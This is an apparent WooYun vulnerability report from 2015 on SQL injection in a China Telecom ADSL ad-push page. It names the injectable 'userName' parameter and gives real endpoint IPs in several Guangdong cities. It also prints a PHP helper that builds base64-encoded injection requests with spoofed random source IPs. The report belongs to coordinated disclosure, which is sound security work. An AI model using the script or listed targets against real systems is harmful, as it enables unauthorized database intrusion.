当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091213

漏洞标题:中国电信ADSL某广告推送系统SQL注入

相关厂商:中国电信

漏洞作者: DoSo

提交时间:2015-01-12 18:10

修复时间:2015-02-26 18:12

公开时间:2015-02-26 18:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:14

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

中国电信ADSL某广告推送系统SQL注入
第一次发不知道怎样才能掩饰自己是菜鸟的事实,所以赏个邀请码呗
顺便严重鄙视一下中国电信ADSL无良地强制推送广告的恶心行为,单纯吐槽,不要查我水表

详细说明:

在平时打开网页就经常弹出,这种硬性广告

QQ图片20150111142931.jpg


网址:http://121.32.136.50:701/gz_20141028/guangzhou/20141028/BadwebRemindPage.aspx?param=ABdXNlck5hbWU9MDIweHh4eHh4QDE2My5nZCZzcmNVcmw9d3d3LmJhaWR1LmNvbSZwb2xpY3lJZD0xMzc1JnNyY0lwPTEyNy4wLjAuMSZ0eXBlPTA=
已经忍无可忍了,必须挖一下
尝试对param的值进行base64解码,是乱码
在js里看到这样的代码

var paraStr = params.substring(9);
var paraArr = decode64(paraStr).split('&');
for(var i=0;i<paraArr.length;i++)
{
var strArr = paraArr[i].split('=');
if(strArr[0] == "type")
{
type = strArr[1];
}
if(strArr[0] == "srcUrl")
{
sourceUrl = strArr[1];
}
}


把?param=AB这9个字符去掉即可base64解出原文
[email protected]&srcUrl=www.baidu.com&policyId=1375&srcIp=127.0.0.1&type=0
经过测试在thirdconfirm.aspx的userName处有注入点
为了方便注入,搞了一小段代码

<?php
error_reporting(1);
?>
<!DOCTYPE html>
<html>
<head>
<title>电信注个入</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<br />
<form action="" method="get">
<input type="text" name="userName" style="width:700px" value="<?=$_GET['userName']?>" />
<input type="submit" value="干" />
</form>
<?php
function randip(){
$iplongstart = ip2long('36.18.192.0');
$iplongend = ip2long('36.18.255.255');
$ip = long2ip(mt_rand($iplongstart, $iplongend));
return $ip;
}
function getCon($str,$x,$y='',$nt=FALSE,$w=FALSE){
$tem=strstr($str,$x);
if($y==''){
$l=strlen($tem);
}
else{
$l=strpos($tem,$y,strlen($x));
}
$hl=0;
if($nt){
$hl=strlen($x);
$l=$l-$hl;
}
$wl=0;
if($w){
$wl=strlen($y);
}
return substr($tem,$hl, $l+$wl);
}
function main(){
$username = trim($_GET['userName']);
if(empty($username)){
echo '<p>post empty</p>';
return '';
}
$mystr = 'userName='.$username.'&srcUrl=www.baidu.com&policyId=1375&srcIp='.randip().'&type=0';
$mystr = base64_encode($mystr);
$url = 'http://121.32.136.50:701/gz_20141028/guangzhou/20141028/thirdconfirm.aspx?param=AB'.$mystr;
// echo $url;
// $html = file_get_contents($url);
$myc = curl_init();
$headers = array(
'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/20100101 Firefox/28.0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
'Connection: Keep-Alive ',
'DNT: 1',
);
curl_setopt($myc, CURLOPT_HEADER, false);
curl_setopt($myc, CURLOPT_HTTPHEADER,$headers);
curl_setopt($myc, CURLOPT_URL,$url);
curl_setopt($myc, CURLOPT_RETURNTRANSFER,true);
curl_setopt($myc, CURLOPT_TIMEOUT, 10);
$html = curl_exec($myc);
curl_close($myc);
if(empty($html)){
echo '<p>contents empty</p>';
return '';
}
$html = getCon($html, 'UserBirthday">', '</span>', true);
echo $html;
}
main();
?>
</body>
</html>


经测试,发现是Oracle数据库

QQ图片20150111144436.jpg


QQ图片20150111151203.jpg


本人小菜就不深入了
在搜索引擎搜索了一下,基本都是广东地区的
广州
http://121.32.136.50:701/gz_20141028/guangzhou/20141028/BadwebRemindPage.aspx?param=ABxxx
云浮
http://121.10.28.148:701/yf_20131119/yunfu/20131120/BadwebRemindPage.aspx?param=ABxxx
江门
http://202.105.168.34:701/jm_20140113/jiangmen/20140113/BadwebRemindPage.aspx?param=ABxxx
湛江
http://121.10.130.25:701/zj_2014722/zhanjiang/2014722/BadwebRemindPage.aspx?param=ABxxx
惠州
http://121.15.223.80:701/hz_20120712/huizhou/20120712/BadwebRemind/BadwebRemindPage.aspx?param=ABxxx

漏洞证明:

QQ图片20150111144436.jpg


QQ图片20150111151203.jpg

修复方案:


过滤啊

版权声明:转载请注明来源 DoSo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-16 16:13

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调各省网站管理单位处置。

最新状态:

暂无